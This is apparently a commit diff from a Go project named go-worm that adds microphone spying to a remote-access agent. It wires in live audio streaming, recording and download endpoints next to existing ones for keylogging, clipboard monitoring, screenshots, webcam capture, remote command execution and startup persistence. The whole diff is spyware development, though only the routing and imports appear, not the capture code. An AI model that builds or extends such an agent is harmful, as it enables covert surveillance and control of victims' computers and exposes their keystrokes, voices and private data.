Audio
This commit is contained in:
@@ -19,6 +19,7 @@ import (
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/input"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/instance"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/keylog"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/mic"
|
||||
)
|
||||
|
||||
type Agent struct {
|
||||
@@ -75,6 +76,7 @@ func (a *Agent) Close() {
|
||||
clipmon.Stop()
|
||||
keylog.Stop()
|
||||
capture.Stop()
|
||||
mic.Stop()
|
||||
if a.guard != nil {
|
||||
a.guard.Close()
|
||||
}
|
||||
@@ -95,6 +97,11 @@ func (a *Agent) Serve() error {
|
||||
mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot)
|
||||
mux.HandleFunc("/api/v1/webcam", a.handleWebcam)
|
||||
mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame)
|
||||
mux.HandleFunc("/api/v1/mic", a.handleMic)
|
||||
mux.HandleFunc("/api/v1/mic/chunk", a.handleMicChunk)
|
||||
mux.HandleFunc("/api/v1/mic/record", a.handleMicRecord)
|
||||
mux.HandleFunc("/api/v1/mic/recordings", a.handleMicRecordings)
|
||||
mux.HandleFunc("/api/v1/mic/download", a.handleMicDownload)
|
||||
mux.HandleFunc("/api/v1/exec", a.handleExec)
|
||||
mux.HandleFunc("/api/v1/startup", a.handleStartup)
|
||||
mux.HandleFunc("/api/v1/watchdog", a.handleWatchdog)
|
||||
|
||||
Reference in New Issue
Block a user